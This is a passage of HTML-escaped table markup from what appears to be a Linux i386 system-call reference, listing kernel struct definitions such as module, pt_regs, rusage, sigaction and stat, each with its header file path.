&lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="itimerval"&gt;itimerval&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/time.h&lt;/a&gt;:&lt;br /&gt;struct itimerval {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval&lt;/a&gt; it_interval; /* timer interval */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval&lt;/a&gt; it_value; /* current value */&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="kernel_sym"&gt;kernel_sym&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/module.h&lt;/a&gt;:&lt;br /&gt;struct kernel_sym {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long value;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char name[60];&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="mmap_arg_struct"&gt;mmap_arg_struct&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;:&lt;br /&gt;struct mmap_arg_struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long addr;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long len;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long prot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long flags;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long fd;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long offset;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="module"&gt;module&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/module.h&lt;/a&gt;:&lt;br /&gt;struct module {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long size_of_struct;  /* sizeof(module) */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module"&gt;struct module&lt;/a&gt; *next;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;const char *name;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long size;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;union {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#atomic_t"&gt;atomic_t&lt;/a&gt; usecount;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long pad;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} uc;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long flags;   /* AUTOCLEAN et al */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned nsyms;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned ndeps;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module_symbol"&gt;struct module_symbol&lt;/a&gt; *syms;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module_ref"&gt;struct module_ref&lt;/a&gt; *deps;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module_ref"&gt;struct module_ref&lt;/a&gt; *refs;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int (*init)(void);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void (*cleanup)(void);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;const &lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#exception_table_entry"&gt;struct exception_table_entry&lt;/a&gt; *ex_table_start;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;const &lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#exception_table_entry"&gt;struct exception_table_entry&lt;/a&gt; *ex_table_end;&lt;br /&gt;/* Members past this point are extensions to the basic&lt;br /&gt;module support and are optional.  Use mod_opt_member()&lt;br /&gt;to examine them.  */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;const &lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module_persist"&gt;struct module_persist&lt;/a&gt; *persist_start;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;const &lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module_persist"&gt;struct module_persist&lt;/a&gt; *persist_end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int (*can_unload)(void);&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="module_persist"&gt;module_persist&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/module.h&lt;/a&gt;:&lt;br /&gt;struct module_persist; /* yes, it's empty */ &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="module_ref"&gt;module_ref&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/module.h&lt;/a&gt;:&lt;br /&gt;struct module_ref {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module"&gt;struct module&lt;/a&gt; *dep;  /* "parent" pointer */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module"&gt;struct module&lt;/a&gt; *ref;  /* "child" pointer */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module_ref"&gt;struct module_ref&lt;/a&gt; *next_ref;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="module_symbol"&gt;module_symbol&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/module.h&lt;/a&gt;:&lt;br /&gt;struct module_symbol {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long value;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;const char *name;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="new_utsname"&gt;new_utsname&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/utsname.h&lt;/a&gt;:&lt;br /&gt;struct new_utsname {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char sysname[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char nodename[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char release[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char version[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char machine[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char domainname[65];&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="__old_kernel_stat"&gt;__old_kernel_stat&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/stat.h&lt;/a&gt;:&lt;br /&gt;struct __old_kernel_stat {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_dev;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_ino;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_mode;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_nlink;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_uid;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_gid;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_rdev;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_size;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_atime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_mtime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_ctime;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="oldold_utsname"&gt;oldold_utsname&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/utsname.h&lt;/a&gt;:&lt;br /&gt;struct oldold_utsname {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char sysname[9];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char nodename[9];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char release[9];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char version[9];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char machine[9];&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="old_sigaction"&gt;old_sigaction&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/signal.h&lt;/a&gt;:&lt;br /&gt;struct old_sigaction {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__sighandler_t"&gt;__sighandler_t&lt;/a&gt; sa_handler;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#old_sigset_t"&gt;old_sigset_t&lt;/a&gt; sa_mask;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long sa_flags;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void (*sa_restorer)(void);&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="old_utsname"&gt;old_utsname&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/utsname.h&lt;/a&gt;:&lt;br /&gt;struct old_utsname {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char sysname[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char nodename[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char release[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char version[65];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char machine[65];&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="pollfd"&gt;pollfd&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/poll.h&lt;/a&gt;:&lt;br /&gt;struct pollfd {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int fd;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;short events;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;short revents;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="pt_regs"&gt;pt_regs&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/ptrace.h&lt;/a&gt;:&lt;br /&gt;struct pt_regs {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ebx;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ecx;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long edx;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long esi;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long edi;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ebp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long eax;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  xds;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  xes;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long orig_eax;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long eip;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  xcs;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long eflags;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long esp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  xss;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="revectored_struct"&gt;revectored_struct&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/vm86.h&lt;/a&gt;:&lt;br /&gt;struct revectored_struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long __map[8];&lt;br /&gt;};&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="rlimit"&gt;rlimit&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/resource.h&lt;/a&gt;:&lt;br /&gt;struct rlimit {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long rlim_cur;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long rlim_max;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="rusage"&gt;rusage&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/resource.h&lt;/a&gt;:&lt;br /&gt;struct rusage {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval&lt;/a&gt; ru_utime;  /* user time used */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval&lt;/a&gt; ru_stime;  /* system time used */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_maxrss;    /* maximum resident set size */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_ixrss;     /* integral shared memory size */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_idrss;     /* integral unshared data size */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_isrss;     /* integral unshared stack size */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_minflt;    /* page reclaims */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_majflt;    /* page faults */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_nswap;     /* swaps */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_inblock;   /* block input operations */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_oublock;   /* block output operations */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_msgsnd;    /* messages sent */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_msgrcv;    /* messages received */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_nsignals;  /* signals received */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_nvcsw;     /* voluntary context switches */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ru_nivcsw;    /* involuntary '' */&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="sched_param"&gt;sched_param&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/linux/sched.h&lt;/a&gt;:&lt;br /&gt;struct sched_param {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int sched_priority;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="sel_arg_struct"&gt;sel_arg_struct&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;:&lt;br /&gt;struct sel_arg_struct {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long n;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#fd_set"&gt;fd_set&lt;/a&gt; *inp, *outp, *exp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval&lt;/a&gt; *tvp;&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="sigaction"&gt;sigaction&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/signal.h&lt;/a&gt;:&lt;br /&gt;struct sigaction {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__sighandler_t"&gt;__sighandler_t&lt;/a&gt; sa_handler;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long sa_flags;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void (*sa_restorer)(void);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sigset_t"&gt;sigset_t&lt;/a&gt; sa_mask;  /* mask last for extensibility */&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="stat"&gt;stat&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/stat.h&lt;/a&gt;:&lt;br /&gt;struct stat {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_dev;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short __pad1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long st_ino;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_mode;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_nlink;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_uid;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_gid;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short st_rdev;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short __pad2;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_size;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_blksize;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_blocks;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_atime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  __unused1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_mtime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  __unused2;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  st_ctime;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  __unused3;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  __unused4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long  __unused5;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="statfs"&gt;statfs&lt;/a&gt;&lt;/th&gt; &lt;td&gt; &lt;a href=""&gt;include/asm/statfs.h&lt;/a&gt;:&lt;br /&gt;struct statfs {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_type;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_bsize;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_blocks;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_bfree;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_bavail;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_files;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_ffree;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__kernel_fsid_t"&gt;__kernel_fsid_t&lt;/a&gt; f_fsid;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_namelen;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long f_spare[6];&lt;br /&gt;}; &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;&lt;th valign="top"&gt;&lt;a href="" name="__sysctl_args"&gt;__sysctl_args&lt;/a&gt;&lt;/th&gt; &lt;td&gt; include/linux/sysctl.h&lt;br /&gt;struct __sysctl_args {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int *name;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int nlen;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void *oldval;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt; *oldlenp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void *newval;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt; newlen;&lt;br 